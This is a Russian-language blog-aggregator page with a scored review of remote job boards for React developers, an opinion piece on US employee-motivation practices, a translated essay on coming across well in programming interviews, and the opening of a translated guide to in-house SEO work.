Findwork

Ссылка 700+ позиций найдено

Количество удаленных вакансий: 6 баллов
Свежесть вакансий: 2 балла Первая вакансия в выдаче была опубликована 3 месяца назад и уже закрыта
Релевантность: 4 балла Большая часть вакансий в выдаче были с React Native, а не с React
Поиск по навыкам: 3 балла
Поиск по должности / категориям: 3 балла
Фильтр по локации: 0 балла
Другие фильтры: 3 балла Фильтры по типу трудоустройства, источнику, привлеченным инвестициям и так далее
Подписка на рассылку: 4 балла Персонализированные рассылки тоже доступны
Экстра фичи: 3 балла Рейтинг Glassdoor и информация с Crunchbase доступна в некоторых вакансиях

ИТОГО: 30 баллов

Преимущества:
- Крутые дополнительные фильтры: по рейтингу Glassdoor, поднятым инвестициям, количеству сотрудников. Это правда прикольно, мне понравилось.
- Можно авторизоваться с помощью Google, Github, Linkedin и настроить подписку (по ключеым словам, типу трудоустройсва и выбрать удобную частоту).
- Внутри каждой вакансии показываются похожие позиции в других компаниях.

Недостатки:
- Устаревшие вакансии, опубликованные > недели назад;
- Неудобный поиск по ключевым словам;
- Не только удаленные вакансии, а все подряд.


Remotive

Ссылка

Количество вакансий: 4 балла 130+ активных удаленных вакансий
Свежесть вакансий: 8 баллов Некоторые вакансии устарели
Релевантность: 6 баллов Много нерелевантных вакансий в выдаче (например, NET Developer).
Поиск по навыкам:
3 балла
Поиск по должностям / категориям: 3 балла
Фильтр по локациям: 2 балла Фильтр только по вакансиям доступным ребятам из US
Другие фильтры: 0 баллов
Подписка на рассылку: 2 балла Можно выбрать категории для подписки, но не фильтры.
Экстра фичи: 0 баллов

ИТОГО: 28 баллов

Преимущества:
- Чистый и классный интерфейс;
- Быстрый поиск.

Недостатки:
- Мало доступных вакансий с технологией React;
- Мало возможностей для фильтрации вакансий.


Career Vault

Ссылка 104 удаленных вакансий найдено

Количество вакансий: 5 баллов
Свежесть вакансий: 7 баллов Если листать, то с 3 страницы уже устаревшие вакансии, которым 2-4 месяца
Релевантность: 9 баллов Большая часть вакансий релевантны, опять же, попалось несколько с React Native
Поиск по навыкам: 3 балла
Поиск по должностям / категориям: 0 баллов
Фильтры по локации: 2 балла Только фильтр, исключающий вакансии для ребят не из US
Другие фильтры: 0 баллов
Подписка на вакансии: 0 баллов
Экстра фичи: 0 баллов

ИТОГО: 26 баллов

Преимущества:
- Свежие вакансии: есть в том числе позиции, которые опубликованы сегодня.
- Агрегация данных не только с джоб бордов, но и с карьерных страниц.
- Авторизация с помощью Google / email можно потом сохранять вакансии.
- Большой выбор вакансий: больше 17k+ сейчас
- Только удаленные вакансии.

Недостатки:
- Нет полнотекстового поиска;
- Невозможно подписаться на вакансии.


NoDesk

Ссылка

Количество вакансий: 1 балл Только 16 вакансий
Свежесть вакансий: 2 балла Мало только что добавленных вакансий
Релевантность: 9 баллов Почти все позиции релевантны
Поиск по навыкам: 3 балла
Поиск по должностям / категориям: 3 балла
Фильтры по локациям: 4 балла
Другие фильтры: 0 баллов
Подписка на рассылку: 2 балла
Экстра фичи: 0 баллов

ИТОГО: 24 балла

Преимущества:
- Дружелюбный интерфейс;
- Фильтр по локации;
- Вакансии не только для разработчиков, но и для дизайнеров, маркетологов, продактов.

Недостатки:
- Очень мало вакансий;
- Вакансии редко добавляют.


Meerkad

Ссылка 500+ вакансий

Количество вакансий: 7 баллов
Свежесть вакансий: 5 баллов Много устаревших вакансий начиная со страницы 2
Релевантность: 5 баллов Снова много вакансий с React Native
Поиск по навыкам: 3 балла (но надо регистрироваться)
Поиск по должностям / категориям: 3 балла
Фильтры по локациям: 0 баллов
Other filters: 0 баллов
E-mail subscription: 0 баллов
Extra features: 0 баллов

ИТОГО: 23 балла

Преимущества:
- Вакансии не только в разработке, но ещё и для дизайнеров, специалистов поддержки, маркетологов;
- Вакансии отобраны вручную.

Недостатки:
- Приходится регистрироваться, чтобы получить доступ к вакансиям. Даже к поиску!

Пишите, если используете другие агрегаторы. Буду рад послушать ваше мнение.

Подробнее..

Recovery mode Система мотивации ТОП-3практики из США

04.06.2021 12:23:32 | Автор: admin

Я много исследую зарубежный опыт, прохожу обучения, слежу за тенденциями и в этом материале хочу поделиться с вами 3 лучшими практиками, которые используют компании из Штатов.

Вы можете посмотреть видеоверсию статьи, либо прочитать текстовый материал.

Знаете, мы с командой часто общаемся с собственниками компаний из России и СНГ на консультациях или при построении отделов маркетинга в их компаниях и очень часто видим такую ситуацию, в которой руководители ставят ключевым моментом мотивации уровень заработной платы. То есть они считают, что только от уровня зарплаты зависит: будет работать тот или иной сотрудник или нет. Это не везде так, но в подавляющем большинстве ситуация такова.

В штатах же, система мотивации выглядит иначе и строится на совершенно других базовых принципах, которые позволяют раскрывать потенциал каждого сотрудника и компании зарабатывают больше в пересчете на каждого члена команды.

Почему же американская система мотивации позволяет компаниям развиваться быстрее, чем наша привычная, система: я начальник-ты дурак? Все просто. Успехи американской модели мотивации объясняются ориентацией американцев на личный успех и достижение высокого уровня жизни и заработка.

Первый инструмент: программы распределения прибыли

В чем суть программы распределения прибыли? Если кратко, то суть в том, что компания мотивирует сотрудников работать и развивать компанию не только с помощью зарплаты, выплат отпускных и оплаты больничных, но еще и выделяя ежегодно или ежеквартально определенный объем опционов, которые распределяются среди самых эффективных и лояльных сотрудников.

Внедрение данного инструмента позволяет сотруднику ощущать себя не просто дойной коровой, которую подоят и заменят другой коровой, а совладельцем компании. Понимаете в чем суть? Человек начинает воспринимать себя как владельца бизнеса, что, как правило, сказывается на вовлеченности в деятельность компании, сказывается на генерации и внедрении новых идей и, соответственно, на выручке бизнеса.

И что очень важно: программы распределения прибыли позволяют повысить эффективность труда персонала без дополнительных затрат. Как показывают исследования, проведенные американцами: внедрение программы распределения прибыли позволяют компаниям увеличивать операционную продуктивность персонала до 50%. Т.е., условно, если раньше человек выполнял 10 задач в день, то с внедрением подобной системы у него растет мотивация и он делает уже порядка 13-15 задач в день. От чего, очевидно, растет общая прибыльность и капитализация компании.

Тем более в наше время, когда идет устойчивый тренд на развитие собственного дела и популяризацию фриланса. Люди перестают быть заинтересованы в развитии своего работодателя, который платит им зарплату и перемещают фокус внимания на развитие собственных проектов. А владение доли в бизнесе, хоть и не большой, но мотивирует человека прикладывать больше усилий, чтобы по итогу получить больше результата.

Давайте обратимся к зарубежным примерам. Так вот, в США это инструмент прекрасно работает и внедряется в огромном количестве компаний.

Возьмем, в качестве примера, компанию Tesla. В мае 2021 года стало известно, что Илон Маск по итогам своей работы получил право на акции Tesla стоимостью более 32 миллиардов долларов. Это вознаграждение он получил за достижение целевых показателей, которые установил совет директоров корпорации несколько лет назад. Благодаря этим опционам Илон теперь имеет возможность приобрести акции компании за 10% от их текущей рыночной стоимости.

И этот инструмент работает не только в Tesla. Сотни тысяч американских компаний работают по похожей методике и постоянно растут в своих показателях, т.к. их сотрудники заинтересованы в успехе бизнеса точно также, как и акционеры этих организаций.

Второй инструмент: проектная или почасовая занятость

Почасовая занятость это, наверное, один из ключевых моментов американского рынка. В чем его суть? Компания платит сотруднику только за те часы, которые человек потратил на выполнение задачи и не оплачивает ни минуты больше.

Т.е. бизнес, изначально, при построении продуктовой линейки и в расчетах финансовой модели закладывает количество часов, которое необходимо будет потратить внутреннему персоналу и получает сумму, которую выделяет на выплаты сотрудникам.

В США даже есть закон О минимальной заработной плате, которым работодатели обязаны руководствоваться и который устанавливает минимальную зарплату в США в размере 7 долларов 25 центов. Эта ставка не менялась с 2009 года. При этом существуют поправки на вид деятельности. Так минимальная ставка для персонала, который получает в ходе своей работы чаевые составляет уже 2 доллара и 13 центов. Также есть зависимость размера минимальной оплаты труда от штата. Так в Арканзасе работодатель обязан начислять сотрудникам заработную плату не менее 9 долларов и 25 центов за каждый час труда. А лидером среди всех штатов является штат Колумбия с минимальной ставкой в 14 долларов в час.

И, на самом деле, такая система оплаты труда является более оптимальной. Как думаете почему? Какие выгоды от ее внедрения видите? Напишите об этом в комментариях, обсудим.

Я же считаю, что минимизация постоянных затрат за счет проектной работы это прямой путь к повышению эффективности бизнеса и росту маржинальности. Объясню свою позицию. Когда мы перестаем платить сотрудникам оклад и переводим их, например, на проектную занятость, то мы снимаем с себя постоянную нагрузку выплаты ФОТа или, как его называют, фонда труда. Т.е. работа и заказы есть платим проектные зарплаты и работаем. Заказов нет нет и расходов на выплаты персоналу.

Ведь очень логично? Спрашивается, почему компания должна платить сотрудникам тогда, когда количество клиентов снижается? Скажите, чтобы удерживать квалифицированный персонал на своих позициях? Ведь, если людям не платить, то они быстро разбегутся. Но как показывает практика, уровень текучки в бизнесе с каждым годом растет. Уже ни у кого нет гарантии, что человек, в которого вы вкладывались несколько лет не возьмет и не уйдет к вашему конкуренту, который предложит больше. Или вообще откроет свою компанию и станет вашим прямым конкурентом. Это реалии нашего рынка и, я считаю, что пора менять систему мотивации и систему оплаты труда.

Подобные системы оплаты труда мы внедряем у наших клиентов при построении у них удаленных отделов маркетинга, а также аналогичная система работает и в нашей компании. Все сотрудники у нас работают на проектной основе и привлекаются исключительно под имеющиеся задачи. Такая система хорошо справляется с кризисными ситуациями, которые, как мы знаем, появляются в мире с завидным постоянством. Это значит, что т.к. мы практически не имеем постоянных затрат, то подстраиваться под все турбулентные ситуации нам гораздо проще, нежели чем компаниям с раздутым штатом, сидящим на окладах.

В чем его суть? Как мы знаем, в США система мотивации строится во многом вокруг личности сотрудника. Поэтому компании ищут нестандартные методы стимулирования персонала и предлагают своим работникам такие опции как: обширная медицинская страховка, оплачиваемая работодателем; курсы повышения квалификации; бесплатные обеды; корпоративные праздники; совместные поездки и многое другое.

Например, в компаниях IBM и AT&T существуют семейные программы. Что это означает? В этих компаниях средний возраст сотрудников составляет до 40 лет, очевидно, что бОльшая часть персонала является семейными людьми, у которых есть дети и домашние задачи. И в целях повышения эффективности их работы компания берет на себя решение части их домашних задач, таких как подбор няни или других помощников по дому, организует корпоративные ясли и детские сады, устраивает семейные праздники и многое другое. Ключевых задач несколько:

  • дать сотрудникам яркую причину работать в компании, которая за свой счет решает часть их жизненных проблем;

  • повысить эффективность персонала с помощью того, что сотруднику не нужно в рабочее время решать домашние вопросы и у него есть энергия заниматься своими непосредственными задачами.

Как вы видите, все в выигрыше.

К материальной системе мотивации относится сдельная или почасовая система оплаты. Но на этом американские компании не останавливаются и предлагают своим сотрудникам всевозможные бонусные программы, позволяющие человеку зарабатывать больше тогда, когда больше зарабатывает его компания.

То есть американцы не платят голый оклад, как это принято в русскоговорящих странах. Они очень любят привязывать оплату к результатам работы сотрудников, тем самым повышая операционную эффективность персонала и общую прибыльность своей компании.


Я считаю, что нам стоит поучиться у американских компаний, ведь, как показывают исследования, Штаты обладают самым большим количеством миллиардеров в мире, в несколько раз обгоняя Россию и Китай.

Подробнее..

Перевод Как отвечать на собеседовании, чтобы побудить нанять вас

28.04.2021 20:06:12 | Автор: admin

На первый взгляд может показаться, что эта статья очередная из ряда "Выворачивайся наизнанку, чтобы тебя взяли!". Но это не так. Её скрытый, истинный смысл в том, чтобы напомнить, что любая работа в сущности искусство, о том, что очень важно любить свои инструменты и свою работу. Быть человеком не ремесла, но именно тончайшего искусства. И даже если вы вообще не собираетесь идти на собеседование, вы можете прочитать статью просто потому, что она может вдохновить вас.


Программисты очень часто терпят неудачу на собеседовании лишь по той причине, что упускают из виду человеческий фактор. Они отлично разбираются в алгоритмах, но на собеседовании не проявляют никаких человеческих чувств ни энтузиазма, ни радости. Они тщательно скрывают свои человеческие качества, поэтому разговоры с ними превращаются в сплошное мучение. Они чувствуют себя крайне неуютно, если им приходится вести элементарную человеческую беседу.

Безотчётное чувство тревоги и ожидание чего-то плохого часто приводят к тому, что программисты приходят на собеседование в заторможенном состоянии. Любой самый невинный вопрос сбивает их с толку. Они ведут себя, как плохие певцы, которым не хватает воздуха уже на первом куплете.

Боязнь прямого общения с незнакомыми людьми не единственная их особенность. У них начисто отсутствует практическая смётка. Когда программисты выходят на собеседование по Zoom с выключенными камерами и отключённым микрофоном, мне остаётся только развести руками. Через десять минут после начала собеседования они внезапно вспоминают, что у них выключен звук и начинают его настраивать. А после того как прошло уже достаточно времени и со звуком вроде бы разобрались, передо мной на экране возникает какая-то тёмная фигура, главное желание которой не вылезать из своей норы.

За последние две недели таких недособеседований было более чем достаточно. В конце каждого из них я украдкой поглядывал на часы и надеялся, что, на худой конец, оборвалась связь. Некоторые кандидаты понятия не имели, что у них написано в резюме, другие, когда я их просил рассказать о себе, не могли связать двух слов. Я понимаю, что собеседования могут проходить довольно нервно, но всему же есть предел. Так, один программист, обращаясь ко мне, назвал своё имя...

Не важно, приглашаете ли вы на собеседование найденных рекрутерами людей, или тех, кого вам порекомендовали добрые знакомые, или же тех, кого вы сами находите в LinkedIn, ход собеседования пугающе часто бывает однообразным и разочаровывающим.

В наше время соискатели уже мало чего ждут от собеседования и идут на него, просто потому что надо, как бывает надо сходить к стоматологу.

Но на этой неделе мне попалось несколько супергероев. Да, это были настоящие технологические "мстители"! Они возродили во мне уверенность и вселили вдохновение. На днях у меня прошло поистине исцеляющее собеседование с одним соискателем.

Начало собеседования не предвещало ничего хорошего. Несмотря на то что это собеседование по всем признакам не должно было отличаться от всех остальных, я всё-таки надеялся на чудо. Не очень-то верилось, что мои молитвы будут услышаны, но я решил проявить силу воли и слушать дальше.

Кстати, за час до собеседования я просмотрел резюме соискателя. В резюме всё было прекрасно, не подкопаешься, но в ходе собеседования мне хотелось поговорить с живым человеком. Меня бы совсем не устроило, если бы он начал просто повторять то, что написано в резюме.

Зарядившись чашкой свежего кофе, я сел за стол и нажал в Zoom кнопку "Присоединиться к разговору". Но, не успел я задать первый вопрос, соискатель меня приятно удивил. Он поблагодарил меня за возможность пройти собеседование и уделённое мною время такую обходительность нечасто встретишь. Используя открытый язык тела, он заглянул в камеру и улыбнулся!

Я увидел перед собой пятилетнего мальчика, которому только что сказали, что он пойдёт в Диснейленд! И сразу понял, что он с нетерпением ждал возможности поговорить на технические темы и рассказать, какой он видит свою будущую работу.

Я был несколько удивлён и попросил его рассказать немного о себе и о предыдущем опыте. Когда он стал рассказывать о себе, он меня совершенно покорил. Я видел, как он счастлив тем, что вообще живёт на этом свете, что он часть технологического сообщества. Так, в рассуждениях о науке он говорил минуты три, затем прервался и спросил, не отклонился ли он от темы собеседования. И теперь ребёнком, которому предстоял поход в Диснейленд, оказался я сам.

Как же это было по-человечески, как же прекрасно! Он влюбил меня в себя с первого взгляда.

Но на этом сюрпризы не закончились, каждый его новый ответ поражал меня всё сильнее. Судите сами: вот как мой новый сотрудник отвечал на каждый вопрос.

Расскажите немного о вашей среде разработки и об используемых вами инструментах

Если и есть что-то, что я записываю во время собеседования, так это ответ на этот вопрос.

Много лет назад об этом секретном вопросе с подвохом мне рассказал один из моих коллег. Ответ на этот простой вопрос даёт очень точное представление о складе психики инженера. Когда разработчики рассказывают о своей среде разработки, сразу чувствуешь, что они любят, а что ненавидят. Это окно в их душу.

Задавая вопросы о рабочем пространстве, вы незаметно проникаете в их сознание. Слушая его описание, вы видите перед собой картину или слепок одного дня из жизни программиста.

Мой соискатель, как настоящий Пикассо, накладывал и накладывал кистью всё новые мазки на эту картину. Это была не просто картина, а автопортрет художника с любимой клавиатурой подмышкой за рабочим столом с монитором, на который во время загрузки системы выводится ASCII-графика. Как же он гордился тем, что он программист! Он демонстрировал мне кинофильм, режиссёром которого был он сам, а я стоял за кулисами и смотрел.

Мне показалось, что он просто купается в философии Unix и во всём, что касается технологии. Его волновало буквально всё от цвета, которым выводится командная строка, до функций выбранного им редактора, он гордился каждой строкой написанного им кода. Он был настоящим художником, и его кистью была технология.

И я сразу стал представлять, как этот человек мог бы работать в команде.

На собеседовании вы, как соискатель, можете применить хитрый приём. Постройте разговор так, как будто встречаетесь с интервьюером в непринуждённой обстановке за чашкой кофе. Если вам это удастся, интервьюер "растает" и перейдёт к тому, чтобы начать спрашивать, почему именно вы подходите на эту должность, и не станет "топить" вас неприятными вопросами.

Как вы обычно развлекаетесь?

Никак!

Примерно в двух из пяти собеседований я получаю такой скучнейший ответ. Сразу после такого ответа мне очень хочется сказать: "Достаточно. Спасибо, что уделили нам время. Мы с вами свяжемся". Фраза фразой, но в этот момент мне хочется швырнуть ноутбук об стену и заблокировать такого умника во всех известных человечеству социальных сетях.

Смысл этого вопроса в том, чтобы ответ на него помог мне найти программиста-разработчика, для которого главным развлечением в жизни является страсть к технологиям. Мне нужен умелец-энтузиаст. Сегодня, как показывает мой опыт, лучшие программисты это те, кто тратит львиную долю своего свободного времени на самосовершенствование.

Специалисты в области разработки получают удовольствие от получения новых знаний. Ощущение, когда после нажатия клавиши ввода на клавиатуре у тебя получается то, что работает как надо, сродни ощущению, когда бросаешь баскетбольный мяч из центра поля и попадаешь им прямо в кольцо! Они кричат, вскидывают руки вверх, машут ими, и в данный момент им совсем не интересно, будет ли работать другой их код, ведь этот заработал! И кульминация всей этой тяжкой работы когда им повезёт и кто-нибудь воспользуется их программой.

Мой соискатель рассказал, что ему нравится общаться с другими людьми по любительской радиосвязи. В свободное время он общается по радио с другими программистами и обсуждает с ними технологическое будущее. Когда я спросил, занимает ли его что-либо, помимо разговоров по радио, он показал мне свой экран и рассказал о созданном им фреймворке JavaScript.

В этот момент я хотел ущипнуть себя. Если соискатель может продемонстрировать свою страсть к технологии, знайте это хороший соискатель. Каждое его слово свидетельствует о понимании, и в его глазах светится страсть!

Для вас как для соискателя такие вопросы дают возможность раскрыться, рассказать о себе не только как о любителе нулей и единиц. Отвечая именно на такой вопрос, вы сможете рассказать, как именно ваше участие может усилить команду. Именно от вас зависит, в какую сторону склонится чаша весов интервьюера. Если вы всё делаете правильно, интервьюер начнёт непроизвольно кивать и это значит, он ваш!

Как вы изучаете новые технологии?

Высококлассные специалисты знают, что учиться никогда не поздно.

Вы ведущий разработчик, и получение новых знаний должно быть источником вашей жизненной энергии. Оттачивая навыки, вы выпьете тонны кофе. Вы первопроходец, проникающий в мир технологий. Вас всё время тянет не только узнавать что-то новое, но и постоянно упражняться, закрепляя новые знания.

Мой новый сотрудник создал фреймворк, чтобы лучше понимать JavaScript. Он был убеждён, что у него недостаточно знаний, чтобы освоить библиотеку React, поэтому засучил рукава и изучил код самостоятельно. В какой-то момент к нему пришло прозрение, посещающее каждого программиста, за своё обучение отвечаешь ты сам.

Если вы ищете способ показать себя с хорошей стороны, убедите специалиста по подбору персонала, что вы гений-самоучка. Покажите ему, что вы очень серьёзно относитесь к предложению и рады представившейся возможности. Нет ничего легче, чем нанимать на работу уже мотивированного человека.

Хорошие специалисты по подбору персонала выше всего ценят инженеров, проявляющих искренний интерес к технологиям. Проявите энтузиазм, и помяните моё слово история вашего собеседования будет передаваться из уст в уста. Энтузиазм важен, так как никто не хочет связываться с программистом, путь и сверхквалифицированным, но пришедшим на собеседование без мотивации. Опытные специалисты по подбору персонала расскажут, что лучше возьмут на работу человека со средними навыками, но проявляющего энтузиазм, чем совершенно равнодушного к работе технического гуру.

Если вы только начинаете учиться и самосовершенствоваться, продемонстрируйте на собеседовании свою страсть, проявите себя человеком. Отбросьте все условности и честно расскажите о себе. Спросите себя, если бы это была ваша собственная компания, кого бы вы хотели нанять в первую очередь?

Нарисуйте схему последней архитектуры, над которой вы работали

В основном люди в резюме пишут о себе правду, но любые приукрашивания могут стоить вам как времени, так и денег.

Обычно я не выведываю у соискателей разницу между публичными и приватными переменными, меня больше интересуют вопросы, из ответов на которые я могу понять, насколько глубоко они разбираются в предмете. Мне интересно, "жили" ли они проектом. Сколько клавиатур они разломали, сражаясь с тикетами Jira, заботил ли их этот проект вообще?

Если ответ соискателя звучит примерно так: "Я делаю то, что мне говорят", я начинаю искать благовидный предлог, чтобы свернуть разговор.

На данном конкретном собеседовании речь зашла об иерархии классов. Соискатель рассказал, что бы он хотел в них улучшить. И, к моему удивлению, он перечислил области, в которых пока плохо разбирался. Мы поговорили о том, чем теоретическое программирование отличается от практического. Он свободно мог рассуждать на эту тему, и я уже понял, что этот человек может работать в большой команде.

Главный совет, который я могу дать программисту, пришедшему на собеседование, будьте человеком. Говорите как человек. Превратите ваше собеседование во встречу умов, а не в тест, который надо пройти. И тогда вы придётесь по душе большинству специалистов по подбору персонала. Если они остановят свой выбор на вас, они не только заполучат в команду высококлассного специалиста, но и смогут прекратить, наконец, поиски и вернуться к повседневной работе.

Иногда достаточно простого разговора по душам, особенно если дать понять, что во всём остальном вы разбираетесь хорошо. Отвечая на вопросы, используйте свой опыт. Расскажите о последнем проекте по интеграции API и вашей роли в нём. Приводите примеры, которые могут представить вас в выгодном свете.

Вот вам одна простая хитрость интервьюеры должны получать именно те ответы, которые хочет услышать. Они могут задавать вопросы о кодировке, но, отвечая на них, помните: в действительности интервьюеры хотят услышать от вас ответ на вопрос, почему компании стоит вас нанять. Задавайте вопросы сами, и тогда вы поймёте, как связать ваш опыт с их требованиями.

Дело не в вас, а в них. Если вы сможете убедить их, что, нанимая вас, они приобретают ценного сотрудника, для них уже будет не так важно, что иногда ваше ПО работает не совсем так, как надо.

Не со всеми тезисами автора можно согласиться, но в чем автор точно прав так это в том, что учиться никогда не поздно. Даже более учиться необходимо на протяжении всего карьерного пути IT-специалиста. Если хочется оставаться востребованным, если хочется создавать новое и получать максимум возможностей. И чтобы обучение не доставляло боль нужно сделать его максимально приятным, как раз этим и занимаемся мы, дополняя наши программы поддержкой опытных менторов, внутренними хакатонами и другими вещами, которые делают обучение интересным. "Поверните ключ", выбрав программу по душе и полетели! :-)

У нас много программ для специалистов со стажем и совсем новичков:

Другие профессии и курсы
Подробнее..

Как стать инхаус SEO-специалистом?

27.05.2021 12:14:32 | Автор: admin

Как стать инхаус SEO-специалистом?


Популярный SEO-специалист и маркетолог Кевин Индиг (Kevin Indig) в своем блоге поделился собственным опытом и описал плюсы и минусы по работе SEOшника в агентстве и инхаус команде. Мы перевели и адаптировали данный материал для блога программы для кластеризации семантического ядра KeyClusterer.


***


За свою более чем 10-летнюю карьеру мне посчастливилось наблюдать за многими SEO-оптимизаторами, применяющими различные навыки и стратегии в SEO (и тут я не ошибся, так как по моему мнению, инхаус SEO это навык), и понять отличия успешных инхаус SEO-специалистов от их менее успешных коллег. Поэтому те сеошники, которые развивают этот навык, имеют значительный рост компетенций, а те, кто этого не делает топчатся на месте или остаются позади. В этой статье я поделюсь своими знаниями и опытом, чтобы вы могли оказаться в первой категории.


В SEO не так важны ваши знания сами по себе. А важно то, какой результат в итоге получит клиент. Проблема предоставления конечного результата заключается в том, что у многих инхаус SEO-специалистов не имеется достаточных ресурсов, заинтересованности и поддержки руководства для достижения необходимых результатов.


Снова и снова слыша об одних и тех же проблемах, я решил написать инструкцию для инхаус сеошников и поделиться собственным опытом.


Мы начнем с фундаментальных различий между инхаус и агентством, потому что для многих SEO-специалистов переход из агентства в in-house может быть не таким простым и гладким, как это могло показаться. Затем мы рассмотрим 3 основные проблемы инхаус SEO, указав причины и решения для каждой из них. В конце мы расскажем о том, как заинтересовать людей переходить на сторону клиента.


Хочу сказать большое спасибо моим друзьям Джеки Чу, Мэтту Хауэллс-Барби и Игалу Столпнеру за их вклад в эту статью.


Глоссарий:


  • Агентство работа в рекламном агентстве и продвижение клиентских сайтов данного агентства.
  • Инхаус работа непосредственно на стороне клиента и продвижение проектов компании.

Инхаус SEO и агентство разные вещи


Инхаус SEO или рекламное агентство


Разница между агентством и инхаус


Агентство


  • Плюсы. В агентстве вам приходится работать над множеством разнообразных проектов и задач. Это изучение и анализ большого количества сайтов, взаимодействие с командой проекта, KPI и отчетность, решение сопутствующих проблем. Однако, при этом вы получаете колоссальный опыт работа в агентстве поможет максимально быстро начать карьеру в SEO за счет того, что вы научитесь работать в команде, соблюдать дедлайны, оптимизировать рабочие процессы, продуктивно заниматься продвижением клиентских проектов используя внутренние регламенты, да и в целом постоянно прокачивать знания по SEO.
  • Минусы. Проблемой агентств является не всегда простая коммуникация с клиентом, а также сопутствующие сложности отстаивания и внедрения новых идей. Недостаточно просто давать рекомендации по улучшению оптимизации. Вам нужно уметь "продавать" их, отвечать на запросы клиентов и стимулировать их к выполнению задач. Некоторые клиенты выполняют задачи быстро, другие медленно. Задача усложняется тем, что зачастую общение оптимизатора с клиентом идет не напрямую, а через аккаунт-менеджера, который не всегда может корректно и точно донести ваши мысли по улучшению сайта, а на бумаге в рекомендациях это может выглядеть не так убедительно, нежели при непосредственном общении напрямую.

Инхаус


  • Плюсы. Работая на стороне клиента вы зачастую сконцентрированы на решении одной из проблем подопечного сайта (глобальное улучшение позиций выдаче, низкие позиции одного из разделов и т.п.). Обычно вы не распыляетесь на 10 проектах как в агентстве, а сосредотачиваетесь на одном сайте (возможно, на нескольких), глубоко изучаете продукт и рынок и погружаетесь в вертикаль приоритетных задач. Именно работая на стороне клиента вы становитесь экспертом в области и можете оказать значительное влияние на рост позиций вашего проекта. Работая в компании, вы более глубоко погружаетесь в процессы ее работы, пристально следите за конкурентами и у вас есть больше времени, чтобы подумать как о глобальных проблемах, так и заняться решением мелких, но не менее важных проблем, до которых в агентстве у вас бы никогда не дошли руки (в агентствах 90% задач по сайту шаблонные, а на "мелочи" просто не хватит времени).
  • Минусы. Проблемы инхауса заключаются в бюрократии, получении ресурсов и попытках реализации стратегии компании. Многие сеошники страдают от нехватки ресурсов (программисты, копирайтеры, дизайнеры) и им приходится бороться, чтобы доказать руководству, что на данный момент решение их задач важнее, чем иные задачи компании.

Два момента, которые будут вас преследовать везде и всюду (инхаус и агентство) это озвучивание и внедрение идей. Не важно, кому вы рассказываете свою идею: клиенту или своему боссу. Этому тоже важно научиться. Без должного умения не только составить рекомендации, но и доказать необходимость их внедрения, вся ваша работа в итоге может быть малоэффективной.


Также нужно понимать, чего хотят клиенты и что им нужно на самом деле. Эти два понятия иногда отличаются. Клиент может рассказывать, что ему нужен красивый сайт, оригинальная подача контента и прочие плюшки. Но, на самом деле все это вторично, т.к. все что нужно клиенту на самом деле сделать его бизнес прибыльным и успешным. Ибо, без продаж эффект от всех этих красивостей и наворотов быстро сойдет на нет.


Джаред Гарднер о переходе из агентства в инхаус


При переходе из агентства в инхаус главная проблема, с которой я столкнулся, это не ждать одобрения со стороны руководства, а просто действовать и идти дальше. Когда вы работаете в компании, вы берете на себя больше ответственности за проекты от начала до конца. Ведь именно для этого вас и нанимали, как опытного сеошника для работы на результат.


Понятно, что, в любом случае бывают необходимы различные согласования тех или иных задач, но в данном случае инициатива только приветствуется, в отличие от агентства, где отправив рекомендации на согласование можно ждать дни, а то недели не то что до согласования работ клиентом, но хотя бы до простого ответа, что клиент их просмотрел. С другой стороны, в это время можно заниматься работой над проектами других клиентов. Но, работая в компании, вы должны быть в курсе всех дел компании даже после отправки задач в работу. Иными словами к сайту нужно относиться как к своему личному проекту.


Тем не менее, агентства отличная площадка для наработки опыта SEO-специалистов. Когда вы перейдете в инхаус, вы столкнетесь с 3 основными проблемами, которые взаимосвязаны между собой.


3 самых больших проблемы инхаус SEO и пути их решения


3 основных проблемы инхаус SEO


Самая большая проблема в SEO это когда ты не знаешь, что нужно делать, но тебе нужно показать результат. Успешные агентства умеют быстро давать результат, быстро учатся и выполняют все необходимые работы за счет наработанной годами экспертизы, которая помогает идти в ногу с алгоритмами Яндекс и Google. Вам же, для достижения необходимых результатов нужны ресурсы, умение продавать и демонстрировать ценность вашей работы для компании.


Проблема 1: Нехватка ресурсов


Сеошники обычно надеются на программистов, копирайтеров и дизайнеров для достижения поставленных целей и результатов. Недостаток этих ресурсов одна из самых серьезных проблем в инхаус SEO.


Недавно я спросил своих подписчиков в Твиттере, так ли это, и многие жаловались, что компании не ставят SEO в приоритет, руководство не понимает его, а SEO-специалистам очень трудно продемонстрировать его ценность.


3 основных проблемы инхаус SEO


Я сталкивался с этими проблемами во многих компаниях. Не существует идеального решения, но со временем я узнал, что делать с каждой из этих проблем.


  • Причина 1: Компании хотят быстрых результатов, но в SEO требуется время, чтобы добиться результата.
  • Причина 2: У программистов / дизайнеров / копирайтеров другие приоритеты.
  • Причина 3: Компания не видит необходимости инвестировать в SEO.

Решение 1: По моему опыту, нехватка ресурсов для сеошников часто является результатом плохой бизнес-модели или ее отсутствия. Оптимизаторы просят предоставить им ресурсы, но очень часто не могут показать, как это может увеличить доход компании.


Не в обиду сказано, но, я считаю, что сеошникам следует быть более конструктивными при просьбе предоставить те или иные ресурсы. Легко указать пальцем, но сложно задать себе вопрос, почему у других команд разные приоритеты? Возможно это потому, что мы недостаточно хорошо поработали, чтобы показать, почему SEO должно быть в приоритете.


Опытные инхаус-специалисты знают, что ключ к привлечению внимания это установить связь между вашим запросом и доходом. Задача SEO-специалистов правильно показать влияние трафика на доход. И это порой бывает весьма проблематично.


Например, большинство компаний ориентированы либо на продажи, либо на продукты. Согласитесь, легче понять взаимосвязь между трафиком и, например, подпиской на продукт, что, в конечном итоге, приводит к доходу, поскольку между лидами и транзакциями отсутствуют какие-либо барьеры. В компаниях, ориентированных на продажи, SEO определяет MQL (маркетинговые лиды). Это означает, что существует разрыв между тем, что предлагает маркетинг и заключением сделок, за что SEO-специалисты не могут нести ответственности. В этом случае разумнее определять цели с точки зрения лидов, а не доходов.


Как видите, всегда есть от чего отталкиваться, чтобы сформулировать свои цели и взять их под свою ответственность. Но сеошники часто не уделяют достаточно времени, чтобы разобраться, как компания зарабатывает деньги и как можно к этому привязать свои цели.


Следующий шаг выяснить, как рекомендации по SEO-оптимизации влияют на трафик в целом. Как я уже упоминал, для этого нужна целая инструкция. Однако, наиболее важные вопросы, на которые нужно ответить при прогнозировании трафика, это:


  • Влияют ли ваши рекомендации по SEO на определенный тип страниц или сразу на все?
  • Можете ли вы предсказать, какой потенциальный объем поиска может охватить то или иное предложение по оптимизации?
  • Сделал ли конкурент нечто подобное, и можете ли вы переманить его трафик себе?

